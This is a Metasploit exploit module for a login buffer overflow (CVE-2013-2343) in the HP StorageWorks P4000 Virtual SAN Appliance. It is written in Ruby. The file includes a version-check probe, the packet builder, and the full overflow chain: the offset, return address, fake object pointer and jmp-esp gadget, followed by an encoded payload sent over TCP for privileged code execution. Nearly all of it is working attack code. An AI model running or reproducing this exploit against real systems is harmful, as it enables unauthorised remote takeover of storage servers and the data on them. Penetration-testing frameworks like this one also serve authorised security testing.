##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow",
        'Description' => %q{
          This module exploits a buffer overflow vulnerability found in HP's StorageWorks
          P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage
          of the sscanf() function when parsing login requests. This module has been tested
          successfully on the HP VSA 9 Virtual Appliance.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          ['CVE', '2013-2343'],
          ['OSVDB', '94701'],
          ['ZDI', '13-179'],
          ['URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c03661318']
        ],
        'Payload' => {
          'BadChars' => "\x2f\x00\x0d\x0a",
          'Space' => 780,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => ['linux'],
        'Arch' => ARCH_X86,
        'Targets' => [
          [
            'HP VSA 9',
            {
              'Version' => '9.0.0',
              'Offset' => 3446,
              'Ret' => 0x0804EB34, # pop ebp # ret # from hydra
              'FakeObject' => 0x08072E58, # from hydra data
              'JmpEsp' => 0x08050CB8 # push esp # ret # from hydra
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2013-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, 'The remote port', 13838])
      ]
    )
  end

  def check
    connect
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Sending login packet to check...")
    sock.put(packet)
    res = sock.get_once
    disconnect

    if res and res =~ /OK/ and res =~ /Login/
      return Exploit::CheckCode::Appears("HP VSA login response matches version #{target['Version']}")
    elsif res and res =~ /FAILED/ and res =~ /version/
      return Exploit::CheckCode::Detected('HP VSA service detected but version mismatch in login response')
    end

    return Exploit::CheckCode::Safe('HP VSA service did not respond as expected to login probe')
  end

  def generate_packet(data)
    pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
    pkt << [data.length + 1].pack("N*")
    pkt << "\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
    pkt << data
    pkt << "\x00"

    pkt
  end

  def exploit
    connect
    print_status("#{Rex::Socket.to_authority(rhost, rport)} Sending login packet")
    my_bof = rand_text(target['Offset'])
    my_bof << [target.ret].pack("V")
    my_bof << [target['FakeObject']].pack("V") # Pointer to Fake Object in order to survive LHNSessionManager::SendMessage before ret
    my_bof << [target['JmpEsp']].pack("V")
    my_bof << payload.encoded

    packet = generate_packet("login:/#global$agent/#{my_bof}/#{rand_text_alpha(5)}/Version \"1\" ") # Fake version in order to ret asap
    sock.put(packet)
    disconnect
  end
end